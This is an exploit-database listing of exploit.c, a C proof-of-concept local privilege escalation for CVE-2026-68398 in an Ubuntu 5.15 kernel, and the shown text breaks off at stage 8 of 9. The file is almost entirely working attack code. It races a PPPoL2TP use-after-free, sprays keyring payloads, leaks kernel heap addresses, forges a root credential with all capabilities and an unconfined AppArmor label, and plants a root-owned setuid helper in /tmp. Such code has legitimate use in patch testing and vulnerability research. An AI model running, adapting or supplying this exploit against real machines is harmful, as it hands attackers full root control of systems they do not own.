Exploit database

GH-e57c512ece976688fa88b839230fd0a4

aramosf/cve-2026-68398

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-68398

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files10
aramosf/cve-2026-68398Revision 9c93300f5f11

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.c

Suggested starting fileC · 29,274 bytes
// SPDX-License-Identifier: GPL-2.0
/*
 * Exploit Title: Ubuntu Linux Kernel 5.15.0-187 CVE-2026-68398 - Local Privilege Escalation
 * Date: 2026-08-12
 * Exploit Author: A. Ramos <[email protected]> (@aramosf)
 * Discovery: Norbert Szetei (Doyensec)
 * Vendor Homepage: https://ubuntu.com/
 * Affected: Ubuntu 22.04.5, linux-image-5.15.0-187-generic (5.15.0-187.197)
 * Tested on: Ubuntu 22.04.5 x86-64, 5.15.0-187-generic, QEMU/KVM, 4 vCPU
 * Type: Local privilege escalation
 * CVE: CVE-2026-68398
 *
 * Upstream fix: https://git.kernel.org/linus/ec4215683e47424c9c4762fd3c60f552a3119142
 * Original report: https://patch.msgid.link/[email protected]
 */
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/if_pppox.h>
#include <linux/keyctl.h>
#include <linux/ppp-ioctl.h>
#include <pthread.h>
#include <sched.h>
#include <stdatomic.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/utsname.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

#include "kaslr_prefetch.h"

#ifndef SOL_PPPOL2TP
#define SOL_PPPOL2TP 273
#endif

#define LOCAL_TUNNEL_ID 0x1337
#define PEER_TUNNEL_ID  0x7331
#define SESSION_BASE    0x2000
#define RACE_WORKERS    4
#define SENDERS_PER_WORKER 4
#define CHANNEL_KEY_DATA_LEN 192
#define CRED_KEY_DATA_LEN    224
#define MAX_KEY_DATA_LEN     CRED_KEY_DATA_LEN
#define KEY_OBJECT_DATA 24
#define FAKE_CRED_OFFSET 88
#define CRED_SECURITY_OFFSET 120
#define APPARMOR_CRED_BLOB_OFFSET 8
#define AA_LABEL_FLAGS_OFFSET 64
#define AA_FLAG_UNCONFINED 2
#define EXPECTED_RELEASE "5.15.0-187-generic"

/* Unslid addresses in Ubuntu's exact 5.15.0-187.197 vmlinux. */
#define A_OVERRIDE_CREDS 0xffffffff810f8090ULL
#define A_INIT_USER     0xffffffff82e814c0ULL
#define A_INIT_USER_NS  0xffffffff82e81560ULL
#define A_INIT_UCOUNTS  0xffffffff82e8b840ULL
#define A_INIT_GROUPS   0xffffffff82e8a970ULL
#define A_CORE_PATTERN  0xffffffff83055360ULL
#define A_SAFE_ENTRY    0xffffffff82209c10ULL
#define A_KERNEL_IMAGE_BASE 0xffffffff81000000ULL

struct race_worker {
	unsigned int id;
	unsigned int epoch;
	size_t payload_len;
	bool dual_free;
	atomic_uint generation;
	atomic_uint sid;
	atomic_bool stop;
	atomic_bool won;
	atomic_long winning_key;
	atomic_ulong sessions;
	atomic_ulong keys;
	atomic_ulong key_failures;
	uint8_t winning_payload[MAX_KEY_DATA_LEN];
	int udp_fd;
	int tx_fd;
	struct sockaddr_in target;
	uint64_t slide;
	uint64_t rq_first;
	uint64_t scratch;
	uint32_t initial_qlen;
	bool embed_cred;
	bool embed_label;
	uint64_t wait_entry;
};

struct sender_context {
	struct race_worker *worker;
	unsigned int cpu;
};

static atomic_bool global_stop;
static atomic_bool root_obtained;
static atomic_bool helper_installing;
static atomic_uint next_race_epoch;
static char helper_path[128];

static void put_u32(uint8_t *p, size_t object_offset, uint32_t value)
{
	memcpy(p + object_offset - KEY_OBJECT_DATA, &value, sizeof(value));
}

static void put_u64(uint8_t *p, size_t object_offset, uint64_t value)
{
	memcpy(p + object_offset - KEY_OBJECT_DATA, &value, sizeof(value));
}

static uint64_t get_u64(const uint8_t *p, size_t object_offset)
{
	uint64_t value;

	memcpy(&value, p + object_offset - KEY_OBJECT_DATA, sizeof(value));
	return value;
}

static uint32_t get_u32(const uint8_t *p, size_t object_offset)
{
	uint32_t value;

	memcpy(&value, p + object_offset - KEY_OBJECT_DATA, sizeof(value));
	return value;
}

static void pin_cpu(unsigned int cpu)
{
	cpu_set_t set;
	long count = sysconf(_SC_NPROCESSORS_ONLN);

	CPU_ZERO(&set);
	CPU_SET(cpu % (unsigned int)(count > 0 ? count : 1), &set);
	(void)pthread_setaffinity_np(pthread_self(), sizeof(set), &set);
}

static int make_pppol2tp_socket(int udp_fd, const struct sockaddr_in *target,
				uint16_t sid)
{
	struct sockaddr_pppol2tp addr;
	int fd = socket(AF_PPPOX, SOCK_DGRAM | SOCK_CLOEXEC, PX_PROTO_OL2TP);

	if (fd < 0)
		return -1;
	memset(&addr, 0, sizeof(addr));
	addr.sa_family = AF_PPPOX;
	addr.sa_protocol = PX_PROTO_OL2TP;
	addr.pppol2tp.pid = 0;
	addr.pppol2tp.fd = udp_fd;
	addr.pppol2tp.addr.sin_family = AF_INET;
	addr.pppol2tp.addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	addr.pppol2tp.addr.sin_port = target->sin_port;
	addr.pppol2tp.s_tunnel = LOCAL_TUNNEL_ID;
	addr.pppol2tp.d_tunnel = PEER_TUNNEL_ID;
	addr.pppol2tp.s_session = sid;
	addr.pppol2tp.d_session = sid ? (sid ^ 0x4000) : 0;
	if (connect(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
		close(fd);
		return -1;
	}
	return fd;
}

static void build_packet(uint8_t packet[64], uint16_t sid)
{
	uint16_t *word = (uint16_t *)packet;

	word[0] = htons(0x0002);
	word[1] = htons(LOCAL_TUNNEL_ID);
	word[2] = htons(sid);
	packet[6] = 0xff;
	packet[7] = 0x03;
	packet[8] = 0x00;
	packet[9] = 0x21;
	memset(packet + 10, 'A', 54);
}

static void build_fake_cred(struct race_worker *w,
			    uint8_t payload[MAX_KEY_DATA_LEN])
{
	uint64_t slide = w->slide;

	/*
	 * The wait callback sees the wait_queue_entry base as its first arg.
	 * override_creds() returns the old cred pointer, so WQ_FLAG_EXCLUSIVE
	 * makes __wake_up_common() stop without following the zero list links.
	 */
	put_u64(payload, FAKE_CRED_OFFSET + 0, 1);
	put_u64(payload, FAKE_CRED_OFFSET + 8, 0); /* uid=0, gid=0 */
	put_u64(payload, FAKE_CRED_OFFSET + 16, A_OVERRIDE_CREDS + slide);
	put_u64(payload, FAKE_CRED_OFFSET + 24, 0); /* euid=0, egid=0 */
	put_u64(payload, FAKE_CRED_OFFSET + 32, 0); /* fsuid=0, fsgid=0 */
	put_u32(payload, FAKE_CRED_OFFSET + 40, 0);
	put_u64(payload, FAKE_CRED_OFFSET + 44, 0); /* inheritable */
	put_u64(payload, FAKE_CRED_OFFSET + 52, UINT64_MAX); /* permitted */
	put_u64(payload, FAKE_CRED_OFFSET + 60, UINT64_MAX); /* effective */
	put_u64(payload, FAKE_CRED_OFFSET + 68, UINT64_MAX); /* bounding */
	put_u64(payload, FAKE_CRED_OFFSET + 76, 0); /* ambient + jit */
	put_u64(payload, FAKE_CRED_OFFSET + 88, 0); /* session keyring */
	put_u64(payload, FAKE_CRED_OFFSET + 96, 0); /* process keyring */
	put_u64(payload, FAKE_CRED_OFFSET + 104, 0); /* thread keyring */
	put_u64(payload, FAKE_CRED_OFFSET + 112, 0); /* request_key_auth */
	/* Filled after the carrier address disclosure by the pointer stages. */
	put_u64(payload, FAKE_CRED_OFFSET + CRED_SECURITY_OFFSET, 0);
	put_u64(payload, FAKE_CRED_OFFSET + 128, A_INIT_USER + slide);
	put_u64(payload, FAKE_CRED_OFFSET + 136, A_INIT_USER_NS + slide);
	put_u64(payload, FAKE_CRED_OFFSET + 144, A_INIT_UCOUNTS + slide);
	put_u64(payload, FAKE_CRED_OFFSET + 152, A_INIT_GROUPS + slide);
}

static void build_payload(struct race_worker *w,
			  uint8_t payload[MAX_KEY_DATA_LEN])
{
	uint64_t scratch = w->scratch ? w->scratch :
		A_CORE_PATTERN + w->slide;
	uint64_t wait_entry = w->wait_entry ? w->wait_entry :
		A_SAFE_ENTRY + w->slide;

	memset(payload, 0, w->payload_len);

	/* struct channel.file.rq */
	put_u64(payload, 32, w->rq_first);
	put_u64(payload, 40, scratch);
	put_u32(payload, 48, w->initial_qlen);
	put_u32(payload, 52, 0);

	/* A globally backed, non-crashing waitqueue entry for leak stages. */
	put_u32(payload, 56, 0);
	put_u64(payload, 64, wait_entry);
	put_u64(payload, 72, wait_entry);

	put_u64(payload, 168, 0); /* pch->ppp */
	put_u64(payload, 200, 0); /* pch->upl rwlock */
	put_u64(payload, 208, 0); /* pch->bridge */

	if (w->embed_cred)
		build_fake_cred(w, payload);
	if (w->embed_label)
		put_u64(payload, 32 + AA_LABEL_FLAGS_OFFSET,
			AA_FLAG_UNCONFINED);
}

static bool kernel_heap_pointer(uint64_t p)
{
	return (p & 0xffff000000000000ULL) == 0xffff000000000000ULL;
}

static int copy_self_to_suid_helper(void)
{
	uint8_t buffer[16384];
	struct stat st;
	int input = -1, output = -1;
	int saved_errno = 0;

	input = open("/proc/self/exe", O_RDONLY | O_CLOEXEC);
	if (input < 0)
		return -1;
	output = open(helper_path,
		      O_WRONLY | O_CREAT | O_EXCL | O_NOFOLLOW | O_CLOEXEC,
		      0700);
	if (output < 0) {
		close(input);
		return -1;
	}
	for (;;) {
		ssize_t got = read(input, buffer, sizeof(buffer));

		if (got < 0) {
			if (errno == EINTR)
				continue;
			saved_errno = errno;
			goto fail;
		}
		if (!got)
			break;
		for (ssize_t done = 0; done < got;) {
			ssize_t put = write(output, buffer + done,
					    (size_t)(got - done));

			if (put < 0) {
				if (errno == EINTR)
					continue;
				saved_errno = errno;
				goto fail;
			}
			done += put;
		}
	}
	if (fchown(output, 0, 0) < 0 || fchmod(output, 04755) < 0 ||
	    fstat(output, &st) < 0) {
		saved_errno = errno;
		goto fail;
	}
	if (st.st_uid != 0 || (st.st_mode & 04755) != 04755) {
		saved_errno = EPERM;
		goto fail;
	}
	close(output);
	close(input);
	return 0;

fail:
	close(output);
	close(input);
	unlink(helper_path);
	errno = saved_errno;
	return -1;
}

static int run_suid_stage(const char *path)
{
	uid_t before_uid = getuid(), before_euid = geteuid();

	if (before_euid != 0) {
		fprintf(stderr, "SUID stage failed: uid=%u euid=%u\n",
			before_uid, before_euid);
		return 10;
	}
	if (setresgid(0, 0, 0) < 0 || setresuid(0, 0, 0) < 0) {
		perror("setresuid/setresgid");
		return 11;
	}
	printf("SUID transition: uid=%u euid=%u gid=%u egid=%u\n",
	       getuid(), geteuid(), getgid(), getegid());
	if (path)
		unlink(path);
	execl("/usr/bin/id", "id", NULL);
	perror("exec(/usr/bin/id)");
	return 12;
}

static void *sender_main(void *opaque)
{
	struct sender_context *ctx = opaque;
	struct race_worker *w = ctx->worker;
	uint8_t packet[64];

	pin_cpu(ctx->cpu);
	while (!atomic_load_explicit(&w->stop, memory_order_acquire) &&
	       !atomic_load_explicit(&global_stop, memory_order_acquire)) {
		uint16_t sid;

		sid = (uint16_t)atomic_load_explicit(&w->sid, memory_order_acquire);
		if (!sid) {
			sched_yield();
			continue;
		}
		build_packet(packet, sid);
		(void)sendto(w->tx_fd, packet, sizeof(packet), MSG_DONTWAIT,
			     (struct sockaddr *)&w->target, sizeof(w->target));
		if (getuid() == 0 && geteuid() == 0) {
			bool expected = false;

			if (!atomic_compare_exchange_strong_explicit(
				    &helper_installing, &expected, true,
				    memory_order_acq_rel, memory_order_acquire))
				continue;
			dprintf(STDOUT_FILENO,
				"override callback: uid=%u euid=%u gid=%u egid=%u\n",
				getuid(), geteuid(), getgid(), getegid());
			if (copy_self_to_suid_helper() < 0) {
				dprintf(STDERR_FILENO,
					"SUID helper install failed: %s\n",
					strerror(errno));
				atomic_store_explicit(&helper_installing, false,
						      memory_order_release);
				continue;
			}
			dprintf(STDOUT_FILENO,
				"installed root-owned mode 4755 helper: %s\n",
				helper_path);
			atomic_store_explicit(&root_obtained, true,
						      memory_order_release);
			atomic_store_explicit(&global_stop, true,
						      memory_order_release);
			break;
		}
	}
	return NULL;
}

static void *racer_main(void *opaque)
{
	struct race_worker *w = opaque;
	uint8_t desired[MAX_KEY_DATA_LEN], observed[MAX_KEY_DATA_LEN];
	unsigned int seq = w->id;
	uint64_t scratch = w->scratch ? w->scratch :
		A_CORE_PATTERN + w->slide;
	char description[48];
	static const uint8_t tiny_payload = 0x41;
	long key;

	pin_cpu(1 + w->id);
	build_payload(w, desired);
	snprintf(description, sizeof(description), "cve68398-%u-worker-%u",
		 w->epoch, w->id);
	key = syscall(SYS_add_key, "user", description, &tiny_payload,
		      sizeof(tiny_payload), KEY_SPEC_SESSION_KEYRING);
	if (key < 0) {
		atomic_fetch_add_explicit(&w->key_failures, 1, memory_order_relaxed);
		return NULL;
	}
	while (!atomic_load_explicit(&w->stop, memory_order_acquire) &&
	       !atomic_load_explicit(&global_stop, memory_order_acquire)) {
		uint16_t sid = (uint16_t)(SESSION_BASE +
					     ((seq++ * RACE_WORKERS + w->id) & 0x3fff));
		int channel_index = -1;
		int decoy_fd = -1, fd;
		long got, updated;
		struct timespec pause = { .tv_nsec = 50000 };

		fd = make_pppol2tp_socket(w->udp_fd, &w->target, sid);
		if (fd < 0)
			continue;
		if (ioctl(fd, PPPIOCGCHAN, &channel_index) < 0) {
			close(fd);
			continue;
		}
		if (w->dual_free) {
			uint16_t decoy_sid = (uint16_t)(sid + 0x8000);
			int decoy_index = -1;

			decoy_fd = make_pppol2tp_socket(w->udp_fd, &w->target,
							decoy_sid);
			if (decoy_fd < 0 ||
			    ioctl(decoy_fd, PPPIOCGCHAN, &decoy_index) < 0) {
				if (decoy_fd >= 0)
					close(decoy_fd);
				close(fd);
				continue;
			}
		}
		atomic_fetch_add_explicit(&w->sessions, 1, memory_order_relaxed);
		atomic_store_explicit(&w->sid, sid, memory_order_release);
		atomic_fetch_add_explicit(&w->generation, 1, memory_order_release);
		/* Match the timing that reliably reaches the UAF in the crash PoC. */
		sched_yield();
		close(fd);
		if (decoy_fd >= 0)
			close(decoy_fd);
		updated = syscall(SYS_keyctl, KEYCTL_UPDATE, key, desired,
				  w->payload_len);
		if (updated < 0) {
			atomic_fetch_add_explicit(&w->key_failures, 1,
						  memory_order_relaxed);
			atomic_store_explicit(&w->sid, 0, memory_order_release);
			continue;
		}
		atomic_fetch_add_explicit(&w->keys, 1, memory_order_relaxed);
		for (unsigned int i = 0; i < 4; i++)
			sched_yield();
		atomic_store_explicit(&w->sid, 0, memory_order_release);
		nanosleep(&pause, NULL);
		memset(observed, 0, sizeof(observed));
		got = syscall(SYS_keyctl, KEYCTL_READ, key, observed,
			      w->payload_len);
		if (got == (long)w->payload_len) {
			uint64_t prev = get_u64(observed, 40);

			if (prev != scratch && kernel_heap_pointer(prev)) {
				memcpy(w->winning_payload, observed, w->payload_len);
				atomic_store_explicit(&w->winning_key, key,
						      memory_order_release);
				atomic_store_explicit(&w->won, true,
						      memory_order_release);
				atomic_store_explicit(&global_stop, true,
						      memory_order_release);
				break;
			}
		}
	}
	if (!atomic_load_explicit(&w->won, memory_order_acquire))
		(void)syscall(SYS_keyctl, KEYCTL_UNLINK, key,
			      KEY_SPEC_SESSION_KEYRING);
	return NULL;
}

static void setup_worker(struct race_worker *w, unsigned int id,
			 unsigned int epoch, uint64_t slide,
			 uint64_t first, uint64_t scratch, uint32_t qlen,
			 size_t payload_len, bool dual_free, bool embed_cred,
			 bool embed_label, uint64_t wait_entry,
			 int udp_fd, int tx_fd,
			 const struct sockaddr_in *target)
{
	memset(w, 0, sizeof(*w));
	w->id = id;
	w->epoch = epoch;
	w->slide = slide;
	w->rq_first = first;
	w->scratch = scratch;
	w->initial_qlen = qlen;
	w->payload_len = payload_len;
	w->dual_free = dual_free;
	w->embed_cred = embed_cred;
	w->embed_label = embed_label;
	w->wait_entry = wait_entry;
	w->udp_fd = udp_fd;
	w->tx_fd = tx_fd;
	w->target = *target;
}

static int run_race(uint64_t slide, uint64_t first, uint64_t scratch,
		    uint32_t qlen, size_t payload_len, bool dual_free,
		    bool embed_cred, bool embed_label, uint64_t wait_entry,
		    unsigned int seconds,
		    long *winning_key,
		    uint8_t winning_payload[MAX_KEY_DATA_LEN])
{
	struct race_worker workers[RACE_WORKERS];
	pthread_t racers[RACE_WORKERS];
	pthread_t senders[RACE_WORKERS][SENDERS_PER_WORKER];
	struct sender_context sender_ctx[RACE_WORKERS][SENDERS_PER_WORKER];
	struct sockaddr_in bind_addr, target;
	socklen_t addrlen = sizeof(target);
	struct timespec start, now;
	int udp_fd, tx_fd, manager;
	unsigned int epoch;
	int winner = -1;
	unsigned long total_sessions = 0, total_keys = 0, total_failures = 0;

	atomic_store(&global_stop, false);
	if (payload_len < CHANNEL_KEY_DATA_LEN ||
	    payload_len > MAX_KEY_DATA_LEN)
		return -1;
	epoch = atomic_fetch_add_explicit(&next_race_epoch, 1,
					 memory_order_relaxed);
	udp_fd = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC, 0);
	tx_fd = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC | SOCK_NONBLOCK, 0);
	if (udp_fd < 0 || tx_fd < 0)
		return -1;
	memset(&bind_addr, 0, sizeof(bind_addr));
	bind_addr.sin_family = AF_INET;
	bind_addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	if (bind(udp_fd, (struct sockaddr *)&bind_addr, sizeof(bind_addr)) < 0 ||
	    getsockname(udp_fd, (struct sockaddr *)&target, &addrlen) < 0) {
		perror("UDP setup");
		return -1;
	}
	manager = make_pppol2tp_socket(udp_fd, &target, 0);
	if (manager < 0) {
		perror("PPPoL2TP tunnel");
		return -1;
	}
	for (unsigned int i = 0; i < RACE_WORKERS; i++) {
		setup_worker(&workers[i], i, epoch, slide, first, scratch, qlen,
			     payload_len, dual_free, embed_cred, embed_label,
			     wait_entry,
			     udp_fd, tx_fd, &target);
		for (unsigned int j = 0; j < SENDERS_PER_WORKER; j++) {
			sender_ctx[i][j].worker = &workers[i];
			sender_ctx[i][j].cpu = j;
			if (pthread_create(&senders[i][j], NULL, sender_main,
					   &sender_ctx[i][j])) {
				perror("pthread_create(sender)");
				return -1;
			}
		}
		if (pthread_create(&racers[i], NULL, racer_main, &workers[i])) {
			perror("pthread_create");
			return -1;
		}
	}
	clock_gettime(CLOCK_MONOTONIC, &start);
	for (;;) {
		if (atomic_load_explicit(&root_obtained, memory_order_acquire))
			goto out;
		clock_gettime(CLOCK_MONOTONIC, &now);
		if ((unsigned int)(now.tv_sec - start.tv_sec) >= seconds)
			break;
		for (unsigned int i = 0; i < RACE_WORKERS; i++) {
			if (atomic_load_explicit(&workers[i].won,
						 memory_order_acquire)) {
				winner = (int)i;
				goto out;
			}
		}
		usleep(10000);
	}
out:
	atomic_store(&global_stop, true);
	for (unsigned int i = 0; i < RACE_WORKERS; i++)
		atomic_store(&workers[i].stop, true);
	for (unsigned int i = 0; i < RACE_WORKERS; i++) {
		pthread_join(racers[i], NULL);
		for (unsigned int j = 0; j < SENDERS_PER_WORKER; j++)
			pthread_join(senders[i][j], NULL);
	}
	for (unsigned int i = 0; i < RACE_WORKERS; i++) {
		total_sessions += atomic_load(&workers[i].sessions);
		total_keys += atomic_load(&workers[i].keys);
		total_failures += atomic_load(&workers[i].key_failures);
	}
	printf("race stats: sessions=%lu keys=%lu key_failures=%lu\n",
	       total_sessions, total_keys, total_failures);
	if (winner >= 0) {
		*winning_key = atomic_load(&workers[winner].winning_key);
		memcpy(winning_payload, workers[winner].winning_payload,
		       payload_len);
	}
	close(manager);
	close(tx_fd);
	close(udp_fd);
	return winner >= 0 || atomic_load_explicit(&root_obtained,
						      memory_order_acquire) ? 0 : -1;
}

static int read_core_pattern(uint8_t *buf, size_t size)
{
	int fd = open("/proc/sys/kernel/core_pattern", O_RDONLY | O_CLOEXEC);
	ssize_t got;

	if (fd < 0)
		return -1;
	got = read(fd, buf, size);
	close(fd);
	return got > 0 ? (int)got : -1;
}

static long read_key_payload(long key, uint8_t *buf, size_t size)
{
	memset(buf, 0, size);
	return syscall(SYS_keyctl, KEYCTL_READ, key, buf, size);
}

static int validate_target(void)
{
	struct utsname target;

	if (uname(&target) < 0) {
		perror("uname");
		return -1;
	}
	if (strcmp(target.machine, "x86_64") ||
	    strcmp(target.release, EXPECTED_RELEASE)) {
		fprintf(stderr,
			"unsupported target: %s %s; expected x86_64 %s\n",
			target.machine, target.release, EXPECTED_RELEASE);
		return -1;
	}
	return 0;
}

int main(int argc, char **argv)
{
	uint64_t image_base = 0, slide = 0, skb = 0, first_skb = 0;
	uint64_t key_object = 0;
	uint64_t carrier_skb, carrier_object, fake_cred, fake_wait_entry;
	uint64_t blob_skb, blob_pointer, label_skb, label_pointer;
	uint8_t payload1[MAX_KEY_DATA_LEN], payload2[MAX_KEY_DATA_LEN];
	uint8_t payload3[MAX_KEY_DATA_LEN], payload4[MAX_KEY_DATA_LEN], core[32];
	uint8_t payload5[MAX_KEY_DATA_LEN], payload6[MAX_KEY_DATA_LEN];
	uint8_t carrier_check[MAX_KEY_DATA_LEN], blob_check[MAX_KEY_DATA_LEN];
	uint8_t label_check[MAX_KEY_DATA_LEN];
	long key1 = -1, key2 = -1, key3 = -1, key4 = -1;
	long key_blob = -1, key_blob_unlink = -1;
	long key_label = -1, key_label_unlink = -1, trigger_key = -1;
	unsigned int seconds = 30;
	uint32_t count;
	long session_keyring;

	if (argc > 1 && !strcmp(argv[1], "--root-check"))
		return run_suid_stage(argc > 2 ? argv[2] : NULL);
	if (argc > 1 && (!strcmp(argv[1], "-h") ||
			 !strcmp(argv[1], "--help"))) {
		printf("usage: %s [auto|KASLR_SLIDE] [SECONDS] [probe]\n",
		       argv[0]);
		return 0;
	}
	if (validate_target() < 0)
		return 1;
	if (argc <= 1 || !strcmp(argv[1], "auto")) {
		puts("[KASLR] detecting the kernel image base with prefetch...");
		image_base = detect_kernel_base_prefetch(4, 0);
		if (!image_base) {
			fprintf(stderr,
				"KASLR detection failed; a diagnostic slide may be supplied as argv[1]\n");
			return 1;
		}
		if (image_base < A_KERNEL_IMAGE_BASE ||
		    (image_base - A_KERNEL_IMAGE_BASE) >= 0x40000000ULL ||
		    ((image_base - A_KERNEL_IMAGE_BASE) & 0x1fffffULL)) {
			fprintf(stderr, "KASLR detector returned invalid base %#llx\n",
				(unsigned long long)image_base);
			return 1;
		}
		slide = image_base - A_KERNEL_IMAGE_BASE;
		printf("[KASLR] image_base=%#llx slide=%#llx\n",
		       (unsigned long long)image_base,
		       (unsigned long long)slide);
	} else {
		slide = strtoull(argv[1], NULL, 0);
	}
	if (argc > 2)
		seconds = (unsigned int)strtoul(argv[2], NULL, 10);
	printf("CVE-2026-68398 Ubuntu local privilege-escalation exploit\n");
	printf("uid=%u euid=%u slide=%#llx\n", getuid(), geteuid(),
	       (unsigned long long)slide);
	atomic_store(&root_obtained, false);
	atomic_store(&helper_installing, false);
	snprintf(helper_path, sizeof(helper_path),
		 "/tmp/.cve-2026-68398-root-%ld", (long)getpid());
	unlink(helper_path);
	session_keyring = syscall(SYS_keyctl, KEYCTL_JOIN_SESSION_KEYRING,
				  "cve-2026-68398-lpe-session");
	if (session_keyring < 0) {
		perror("KEYCTL_JOIN_SESSION_KEYRING");
		return 1;
	}
	printf("session keyring=%ld\n", session_keyring);
	puts("[1/9] racing for a reclaimed channel and persistent skb...");
	if (run_race(slide, 0, 0, 0, CHANNEL_KEY_DATA_LEN, false, false,
		     false, 0,
		     seconds, &key1, payload1) < 0) {
		fprintf(stderr, "stage 1: no controlled reclaim in %u seconds\n",
			seconds);
		return 2;
	}
	skb = get_u64(payload1, 40);
	count = get_u32(payload1, 48);
	printf("stage 1 hit: key=%ld last_skb=%#llx qlen=%u\n", key1,
	       (unsigned long long)skb, count);
	if (count != 1) {
		fprintf(stderr, "stage 1: multi-skb queue (%u); iterative unlink not enabled yet\n",
			count);
		return 3;
	}
	/* With one queued skb, rq.next and rq.prev identify the same object. */
	first_skb = skb;
	printf("stage 1 queue head: %#llx\n", (unsigned long long)first_skb);

	puts("[2/9] unlinking the skb to disclose the first key allocation...");
	if (run_race(slide, first_skb, 0, 32, CHANNEL_KEY_DATA_LEN, false,
		     false, false, 0, seconds, &key2, payload2) < 0) {
		fprintf(stderr, "stage 2: no controlled reclaim in %u seconds\n",
			seconds);
		return 4;
	}
	memset(core, 0, sizeof(core));
	if (read_core_pattern(core, sizeof(core) - 1) < 0) {
		perror("read(core_pattern)");
		return 5;
	}
	memcpy(&key_object, core, sizeof(key_object));
	key_object -= 32;
	printf("stage 2 hit: key=%ld core bytes=%02x%02x%02x%02x%02x%02x%02x\n",
	       key2, core[0], core[1], core[2], core[3], core[4], core[5], core[6]);
	printf("heap disclosure candidate: key_object=%#llx fake_cred=%#llx\n",
	       (unsigned long long)key_object,
	       (unsigned long long)(key_object + FAKE_CRED_OFFSET));

	puts("[3/9] reclaiming a channel with the 224-byte credential carrier...");
	if (run_race(slide, 0, 0, 0, CRED_KEY_DATA_LEN, true, true, false, 0,
		     seconds, &key3, payload3) < 0) {
		fprintf(stderr, "stage 3: no credential-carrier reclaim in %u seconds\n",
			seconds);
		return 6;
	}
	carrier_skb = get_u64(payload3, 40);
	printf("stage 3 hit: key=%ld carrier_skb=%#llx qlen=%u\n", key3,
	       (unsigned long long)carrier_skb, get_u32(payload3, 48));
	if (get_u32(payload3, 48) != 1) {
		fprintf(stderr, "stage 3: credential carrier has multiple skbs\n");
		return 6;
	}
	printf("stage 3 key fields: usage=%#llx callback=%#llx user=%#llx user_ns=%#llx\n",
	       (unsigned long long)get_u64(payload3, FAKE_CRED_OFFSET),
	       (unsigned long long)get_u64(payload3, FAKE_CRED_OFFSET + 16),
	       (unsigned long long)get_u64(payload3, FAKE_CRED_OFFSET + 128),
	       (unsigned long long)get_u64(payload3, FAKE_CRED_OFFSET + 136));

	puts("[4/9] unlinking the carrier skb to disclose its key allocation...");
	if (run_race(slide, carrier_skb, 0, 32, CHANNEL_KEY_DATA_LEN, false,
		     false, false, 0, seconds, &key4, payload4) < 0) {
		fprintf(stderr, "stage 4: no controlled reclaim in %u seconds\n",
			seconds);
		return 7;
	}
	memset(core, 0, sizeof(core));
	if (read_core_pattern(core, sizeof(core) - 1) < 0) {
		perror("read(core_pattern carrier)");
		return 8;
	}
	memcpy(&carrier_object, core, sizeof(carrier_object));
	carrier_object -= 32;
	fake_cred = carrier_object + FAKE_CRED_OFFSET;
	fake_wait_entry = fake_cred + 24;
	if (!kernel_heap_pointer(carrier_object) || (carrier_object & 0xff)) {
		fprintf(stderr, "stage 4: invalid carrier address %#llx\n",
			(unsigned long long)carrier_object);
		return 8;
	}
	printf("stage 4 hit: key=%ld carrier=%#llx fake_cred=%#llx wait_list=%#llx\n",
	       key4, (unsigned long long)carrier_object,
	       (unsigned long long)fake_cred,
	       (unsigned long long)fake_wait_entry);
	if (read_key_payload(key3, carrier_check, CRED_KEY_DATA_LEN) ==
	    CRED_KEY_DATA_LEN)
		printf("stage 4 live key fields: callback=%#llx next=%#llx prev=%#llx\n",
		       (unsigned long long)get_u64(carrier_check,
						      FAKE_CRED_OFFSET + 16),
		       (unsigned long long)get_u64(carrier_check,
						      FAKE_CRED_OFFSET + 24),
		       (unsigned long long)get_u64(carrier_check,
						      FAKE_CRED_OFFSET + 32));

	puts("[5/9] creating a pointer source for the AppArmor credential blob...");
	if (run_race(slide, 0,
		     fake_cred + CRED_SECURITY_OFFSET, 0,
		     CHANNEL_KEY_DATA_LEN, false, false, false, 0,
		     seconds, &key_blob, payload5) < 0 ||
	    get_u32(payload5, 48) != 1) {
		fprintf(stderr, "stage 5: no single-skb blob pointer source\n");
		return 9;
	}
	blob_skb = get_u64(payload5, 40);
	printf("stage 5 hit: key=%ld skb=%#llx target=%#llx\n", key_blob,
	       (unsigned long long)blob_skb,
	       (unsigned long long)(fake_cred + CRED_SECURITY_OFFSET));

	puts("[6/9] injecting the blob address into cred->security...");
	if (run_race(slide, blob_skb, 0, 32, CHANNEL_KEY_DATA_LEN,
		     false, false, false, 0, seconds,
		     &key_blob_unlink, payload6) < 0 ||
	    read_key_payload(key3, carrier_check, CRED_KEY_DATA_LEN) !=
		    CRED_KEY_DATA_LEN) {
		fprintf(stderr, "stage 6: blob pointer injection failed\n");
		return 9;
	}
	blob_pointer = get_u64(carrier_check,
			       FAKE_CRED_OFFSET + CRED_SECURITY_OFFSET);
	if (!kernel_heap_pointer(blob_pointer)) {
		fprintf(stderr, "stage 6: invalid blob pointer %#llx\n",
			(unsigned long long)blob_pointer);
		return 9;
	}
	printf("stage 6 injected cred->security=%#llx\n",
	       (unsigned long long)blob_pointer);

	puts("[7/9] creating an unconfined AppArmor label pointer source...");
	if (run_race(slide, 100, blob_pointer + APPARMOR_CRED_BLOB_OFFSET,
		     0, CHANNEL_KEY_DATA_LEN,
		     false, false, true, 0, seconds,
		     &key_label, payload5) < 0 || get_u32(payload5, 48) != 1) {
		fprintf(stderr, "stage 7: no single-skb label pointer source\n");
		return 9;
	}
	label_skb = get_u64(payload5, 40);
	printf("stage 7 hit: key=%ld skb=%#llx target=%#llx flags=%#llx\n",
	       key_label, (unsigned long long)label_skb,
	       (unsigned long long)(blob_pointer + APPARMOR_CRED_BLOB_OFFSET),
	       (unsigned long long)get_u64(payload5,
					     32 + AA_LABEL_FLAGS_OFFSET));

	puts("[8/9] injecting the fake label address into the AppArmor blob...");
